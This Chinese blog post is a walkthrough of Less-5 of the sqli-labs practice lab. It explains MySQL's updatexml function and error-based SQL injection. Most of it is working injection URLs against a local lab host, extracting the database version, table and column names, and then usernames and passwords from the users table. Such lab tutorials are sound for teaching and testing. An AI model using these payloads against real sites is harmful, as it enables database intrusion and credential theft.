这里选用的是第五关进行演示,首先根据页面提示输入?id=1页面返回的都是正常,输入?id=1'时,页面报错了,
接着判断字段数,这里选择用?id=1 order by 1--+是不行的
这里选择用updatexml报错注入进行演示:注入之前,首先得明白updatexml函数的利用方式以及函数语法。
updatexml()
函数语法:updatexml(XML_document, XPath_string, new_value);
适用版本: 5.1.5+
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
我们通常在第二个xpath参数填写我们要查询的内容。
与exp()不同,updatexml是由于参数的格式不正确而产生的错误,同样也会返回参数的信息。
payload:
前后添加~使其不符合xpath格式从而报错。
updatexml(1,concat(0x7e,(select user()),0x7e),1)
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式
函数利用和语法明白了,下面注入的payload就清楚明白
存在注入,利用updatexml函数,构造payload:?id=1' and updatexml(1,concat(0x7e,version()),1)--+
0x7e就是一个波浪线符号 : ~
获取数据库名:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,database()),0)--+
爆表:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security')),0)--+
发现回显数据超过1行,无法显示。这个时候limit函数的作用就出现了limit函数
limit 0,1, 从表中的第0个数据开始,只读取一个为了更好明白limit函数作用,先在mysql中看一看全表
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),0)--+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1)),0)--+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1)),0)--+
上述是通过limit()函数进行一个一个的获取表信息,这里也可以一次性获取表信息:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e,(select group_concat(table_name)),0x7e)from information_schema.tables where table_schema='security'),0x7e),1) --+
接下来获取列字段信息:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e,(select group_concat(column_name)),0x7e)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
现在已经得到所有表名,下一步去获取users表中的列名,同上面一样,使用limit获取列名
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select username from users limit 13,1)),0)--+
进行获取第13位用户名的 密码
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select password from users limit 13,1)),0)--+
标签:0x7e,labs,sqli,报错,updatexml,id,concat From: https://www.cnblogs.com/linyu51/p/16598303.html